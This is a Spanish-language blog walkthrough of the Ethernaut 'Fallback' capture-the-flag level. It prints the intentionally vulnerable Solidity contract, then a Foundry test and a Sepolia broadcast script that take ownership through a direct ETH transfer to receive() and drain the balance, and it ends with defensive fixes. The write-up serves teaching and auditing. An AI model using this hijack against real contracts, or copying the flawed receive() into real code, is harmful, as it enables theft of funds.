← Volver al blog
Mike B. - SecLat Security12 de agosto de 2026

Ethernaut Level 1 Walkthrough: Explotando el Control de Acceso en Solidity

En este artículo analizaremos y resolveremos el reto número 1 de Ethernaut: Fallback.

Este nivel parece simple, pero enseña una de las lecciones más importantes de seguridad en smart contracts: un mal control de acceso puede entregarle el contrato completo a un atacante.

Además de resolver el reto, también entenderemos:

  • Qué son las funciones receive y fallback
  • Por qué el control de acceso mal diseñado es peligroso
  • Cómo una transferencia directa de ETH puede cambiar el dueño de un contrato
  • Cómo construir un contrato atacante que tome el control
  • Cómo validar el exploit usando Foundry y Sepolia
  • Cómo defenderse correctamente

Si eres desarrollador, este artículo te ayudará a entender por qué cada ruta que modifica el estado sensible debe estar protegida.

Si te interesa la seguridad de smart contracts, este reto es la puerta de entrada perfecta al análisis de control de acceso.

Puedes ver más contenido de seguridad Web3 en nuestro canal de YouTube - Seclat.

Descripción del Reto

El contrato lleva un registro de las contribuciones de cada usuario y tiene un dueño (owner).

Los usuarios pueden contribuir pequeñas cantidades de ETH, y solo el dueño puede retirar los fondos.

El objetivo del reto es:

Convertirte en el dueño del contrato y drenar todo su balance.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Control de acceso inseguro
Causa Raíz:La función receive reasigna el owner con una validación trivial
Impacto:Toma de control del contrato y pérdida total de los fondos
Severidad:Crítica
Tipo de Ataque:Secuestro de propiedad vía transferencia directa de ETH

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

Causa Raíz de la Vulnerabilidad

El contrato tiene dos caminos para convertirse en dueño.

El primero es legítimo: contribuir más que el dueño actual, que arranca con 1000 ETH. Este camino es muy complicado, porque contribute() exige msg.value < 0.001 ether.

El segundo camino está en la función receive:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

Esta función se ejecuta cuando alguien envía ETH directamente al contrato sin llamar a ninguna función.

El problema es que reasigna la propiedad con una condición trivial de cumplir:

Basta con haber contribuido cualquier cantidad mayor a cero y enviar cualquier cantidad de ETH mayor a cero.

No valida contribuciones acumuladas, ni compara contra el balance del dueño, ni exige permisos. Cualquier persona puede satisfacer ambas condiciones en segundos.

Esto viola un principio central de seguridad en Solidity:

Toda ruta que modifique estado sensible, como la propiedad de un contrato, debe estar protegida con un control de acceso estricto.

Entendiendo las funciones receive y fallback

En Solidity, un contrato puede recibir ETH sin que se llame a una función específica.

El flujo es el siguiente:

  1. Un usuario envía ETH al contrato con call, transfer o send.
  2. Si no se especifican datos de llamada, se ejecuta receive().
  3. Si se envían datos que no coinciden con ninguna función, se ejecuta fallback().
  4. Ambas funciones corren con gas limitado en algunos casos, pero pueden modificar estado.

El error de diseño aparece cuando estas funciones hacen algo más que aceptar ETH.

En este reto, receive() cambia el dueño del contrato. Eso convierte una simple transferencia en una toma de control.

¿Por Qué las funciones fallback son peligrosas?

Las funciones receive y fallback son puntos de entrada silenciosos.

Se ejecutan sin que el desarrollador lo note, muchas veces solo por recibir ETH.

Si dentro de ellas se coloca lógica sensible, se crea una ruta de ataque invisible:

  • No aparece en la interfaz pública obvia del contrato.
  • No exige llamar a una función con nombre.
  • Se dispara con una transacción tan simple como enviar ETH.

La regla práctica es clara:

  • Mantén receive y fallback lo más simples posible.
  • Nunca cambies propiedad, roles o permisos dentro de ellas.
  • Si deben modificar estado, aplícales el mismo control de acceso que a cualquier función crítica.

Estrategia del Ataque

Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.

Sabemos que:

  1. contribute() acepta cantidades menores a 0.001 ether.
  2. Una contribución mínima deja contributions[msg.sender] > 0.
  3. receive() nos hace dueños si contribuimos antes y enviamos ETH directamente.
  4. withdraw() solo lo puede llamar el dueño.

Por lo tanto, nuestra estrategia será:

  1. Contribuir una cantidad mínima, por ejemplo 1 wei.
  2. Enviar una transferencia directa de ETH al contrato para disparar receive().
  3. Convertirnos en el nuevo dueño.
  4. Llamar a withdraw() y drenar todo el balance.

Validando el Exploit con Foundry

Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.

// SPDX-License-Identifier: MIT
// Fallback_L1.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestFallback_L1 is Test, Utils {
    Ethernaut ethernaut;
    Fallback instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);
        owner = users[0];
        vm.label(owner, "Owner");
        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DummyFactory factory = DummyFactory(getOldFactory("FallbackFactory"));
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Fallback(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        instance.contribute{value: 1 wei}();
        (bool ok,) = address(instance).call{value: 1 wei}("");
        require(ok, "receive failed");
        instance.withdraw();

        assertEq(instance.owner(), player, "Player is not the new owner");
        assertEq(address(instance).balance, 0, "not 0 balance");

        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Ejecutando el Test

Para ejecutar el test del exploit en un fork de Sepolia, ejecuta:

forge test --mp Fallback_L1.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Debes configurar la variable SEPOLIA_RPC dentro de tu archivo .env.

Si la terminal no reconoce la variable, ejecuta:

source .env

Una vez ejecutada, podremos verificar que el atacante quedó como dueño y que el contrato fue drenado.

Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {console} from "forge-std/console.sol";

contract FallbackScript is Script {
    Fallback public target;
    address player = "0xYourSepoliaWalletAddress";

    function setUp() public {
        target = Fallback(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        target.contribute{value: 1 wei}();
        (bool ok,) = address(target).call{value: 1 wei}("");
        require(ok, "receive failed");
        target.withdraw();

        console.log("Nuevo owner:", target.owner());
        console.log("Balance del target:", address(target).balance);

        vm.stopBroadcast();
    }
}

Ejecutando el Script

Primero ejecutamos el script localmente:

forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, podemos enviarlo a Sepolia:

forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Una vez que el exploit finalice, el balance del contrato vulnerable será cero y el nivel quedará resuelto, solo tienes que enviar la instancia en la página de Ethernaut.

Cómo Prevenir esta Vulnerabilidad

La defensa central es tratar el cambio de propiedad como una operación privilegiada.

Control de acceso estricto

Nunca cambies el owner dentro de receive o fallback. Si necesitas transferir la propiedad, hazlo en una función explícita y protegida:

function transferOwnership(address newOwner) external onlyOwner {
    require(newOwner != address(0), "zero address");
    owner = newOwner;
}

Mantén las funciones de recepción mínimas

La función receive debería, en el mejor de los casos, solo aceptar ETH:

receive() external payable {}

Si tu contrato no necesita recibir ETH sin datos, considera revertir para cerrar la ruta por completo.

Usa patrones probados

Librerías como Ownable de OpenZeppelin centralizan el control de propiedad y evitan reasignaciones accidentales:

import "@openzeppelin/contracts/access/Ownable.sol";

contract Secure is Ownable {
    // La propiedad solo cambia por transferOwnership, protegida por onlyOwner
}

Lecciones Aprendidas

Este reto demuestra que la seguridad no depende del tamaño del código, sino de proteger cada ruta sensible.

Lecciones clave de este nivel:

  • Toda modificación de propiedad o roles debe estar detrás de un control de acceso.
  • Las funciones receive y fallback son puntos de entrada reales, no adornos.
  • Una transferencia de ETH aparentemente inofensiva puede cambiar el estado crítico.
  • Mantén las funciones de recepción tan simples como sea posible.
  • Reutiliza patrones auditados en lugar de escribir control de acceso a mano.

Conclusión

En este reto explotamos un control de acceso inseguro que permitía tomar la propiedad del contrato con una simple transferencia de ETH.

Contribuimos una cantidad mínima, disparamos la función receive para convertirnos en dueños y luego drenamos todo el balance.

Este nivel es una excelente introducción a:

  • Análisis de control de acceso
  • Funciones receive y fallback
  • Rutas de ataque silenciosas
  • Diseño seguro de propiedad
  • Metodologías de explotación del mundo real

Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.

Si estás buscando una auditoría de seguridad para tu protocolo, puedes contactarnos a través de nuestro sitio web seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.